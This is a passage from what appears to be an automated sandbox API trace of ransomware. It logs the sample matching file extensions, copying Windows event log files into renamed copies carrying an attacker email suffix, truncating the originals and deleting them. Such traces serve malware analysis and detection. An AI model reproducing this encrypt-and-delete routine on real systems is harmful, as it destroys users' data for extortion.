lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.582] lstrlenW (lpString=".dbf") returned 4 [0080.582] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.582] lstrlenW (lpString=".1cd") returned 4 [0080.582] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.582] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.582] lstrlenW (lpString=".jpg") returned 4 [0080.582] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.583] lstrlenW (lpString=".doc") returned 4 [0080.583] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".docx") returned 5 [0080.583] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.583] lstrlenW (lpString=".pdf") returned 4 [0080.583] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".xls") returned 4 [0080.583] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".xlsx") returned 5 [0080.583] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.583] lstrlenW (lpString=".ppt") returned 4 [0080.583] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.583] lstrlenW (lpString=".zip") returned 4 [0080.583] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".rar") returned 4 [0080.583] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".bz2") returned 4 [0080.583] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString=".7z") returned 3 [0080.583] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.583] lstrlenW (lpString=".dbf") returned 4 [0080.583] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.584] lstrlenW (lpString=".1cd") returned 4 [0080.584] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0080.584] lstrlenW (lpString=".jpg") returned 4 [0080.584] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.584] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.584] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0080.584] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.584] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0080.584] CloseHandle (hObject=0x308) returned 1 [0080.584] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0080.584] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.584] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.584] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.585] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.585] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0080.586] GetLastError () returned 0x0 [0080.586] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.588] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.590] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.590] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x146, lpOverlapped=0x0) returned 1 [0080.590] SetEndOfFile (hFile=0x398) returned 1 [0080.590] CloseHandle (hObject=0x398) returned 1 [0080.593] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.593] SetEndOfFile (hFile=0x308) returned 1 [0080.594] CloseHandle (hObject=0x308) returned 1 [0080.594] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.594] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0080.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".doc") returned 4 [0080.595] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".docx") returned 5 [0080.595] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.595] lstrlenW (lpString=".pdf") returned 4 [0080.595] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".xls") returned 4 [0080.595] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".xlsx") returned 5 [0080.595] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.595] lstrlenW (lpString=".ppt") returned 4 [0080.595] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".zip") returned 4 [0080.595] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".rar") returned 4 [0080.595] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".bz2") returned 4 [0080.595] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString=".7z") returned 3 [0080.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".dbf") returned 4 [0080.595] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".1cd") returned 4 [0080.595] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".jpg") returned 4 [0080.595] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.595] lstrlenW (lpString=".doc") returned 4 [0080.595] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".docx") returned 5 [0080.596] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.596] lstrlenW (lpString=".pdf") returned 4 [0080.596] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".xls") returned 4 [0080.596] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".xlsx") returned 5 [0080.596] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.596] lstrlenW (lpString=".ppt") returned 4 [0080.596] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.596] lstrlenW (lpString=".zip") returned 4 [0080.596] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".rar") returned 4 [0080.596] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".bz2") returned 4 [0080.596] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString=".7z") returned 3 [0080.596] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.596] lstrlenW (lpString=".dbf") returned 4 [0080.596] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.596] lstrlenW (lpString=".1cd") returned 4 [0080.596] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0080.596] lstrlenW (lpString=".jpg") returned 4 [0080.596] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.596] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.596] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0080.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.597] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0080.597] CloseHandle (hObject=0x308) returned 1 [0080.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0080.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.597] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.597] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0080.598] GetLastError () returned 0x0 [0080.598] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.603] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.605] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.605] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x12c, lpOverlapped=0x0) returned 1 [0080.605] SetEndOfFile (hFile=0x398) returned 1 [0080.605] CloseHandle (hObject=0x398) returned 1 [0080.608] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.608] SetEndOfFile (hFile=0x308) returned 1 [0080.609] CloseHandle (hObject=0x308) returned 1 [0080.609] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.609] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0080.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.609] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.609] lstrlenW (lpString=".doc") returned 4 [0080.609] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".docx") returned 5 [0080.610] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.610] lstrlenW (lpString=".pdf") returned 4 [0080.610] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".xls") returned 4 [0080.610] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".xlsx") returned 5 [0080.610] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.610] lstrlenW (lpString=".ppt") returned 4 [0080.610] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString=".zip") returned 4 [0080.610] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".rar") returned 4 [0080.610] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".bz2") returned 4 [0080.610] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".7z") returned 3 [0080.610] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString=".dbf") returned 4 [0080.610] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString=".1cd") returned 4 [0080.610] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString=".jpg") returned 4 [0080.610] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.610] lstrlenW (lpString=".doc") returned 4 [0080.610] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.610] lstrlenW (lpString=".docx") returned 5 [0080.610] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.611] lstrlenW (lpString=".pdf") returned 4 [0080.611] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString=".xls") returned 4 [0080.611] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString=".xlsx") returned 5 [0080.611] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.611] lstrlenW (lpString=".ppt") returned 4 [0080.611] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.611] lstrlenW (lpString=".zip") returned 4 [0080.611] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString=".rar") returned 4 [0080.611] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString=".bz2") returned 4 [0080.611] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString=".7z") returned 3 [0080.611] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.611] lstrlenW (lpString=".dbf") returned 4 [0080.611] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.611] lstrlenW (lpString=".1cd") returned 4 [0080.611] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0080.611] lstrlenW (lpString=".jpg") returned 4 [0080.611] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.611] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.611] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0080.611] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.612] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=1052672) returned 1 [0080.612] CloseHandle (hObject=0x308) returned 1 [0080.612] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0080.612] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.612] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0080.612] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.612] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.612] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0080.612] GetLastError () returned 0x0 [0080.613] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0080.956] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0080.975] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1010, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1020, lpOverlapped=0x0) returned 1 [0081.166] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.166] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x134, lpOverlapped=0x0) returned 1 [0081.166] SetEndOfFile (hFile=0x398) returned 1 [0081.166] CloseHandle (hObject=0x398) returned 1 [0081.187] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.187] SetEndOfFile (hFile=0x308) returned 1 [0081.188] CloseHandle (hObject=0x308) returned 1 [0081.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.188] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0081.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.189] lstrlenW (lpString=".doc") returned 4 [0081.189] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".docx") returned 5 [0081.189] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.189] lstrlenW (lpString=".pdf") returned 4 [0081.189] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".xls") returned 4 [0081.189] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".xlsx") returned 5 [0081.189] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.189] lstrlenW (lpString=".ppt") returned 4 [0081.189] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.189] lstrlenW (lpString=".zip") returned 4 [0081.189] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".rar") returned 4 [0081.189] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".bz2") returned 4 [0081.189] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString=".7z") returned 3 [0081.189] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.189] lstrlenW (lpString=".dbf") returned 4 [0081.189] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".1cd") returned 4 [0081.190] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".jpg") returned 4 [0081.190] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".doc") returned 4 [0081.190] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".docx") returned 5 [0081.190] lstrcmpiW (lpString1=".docx", 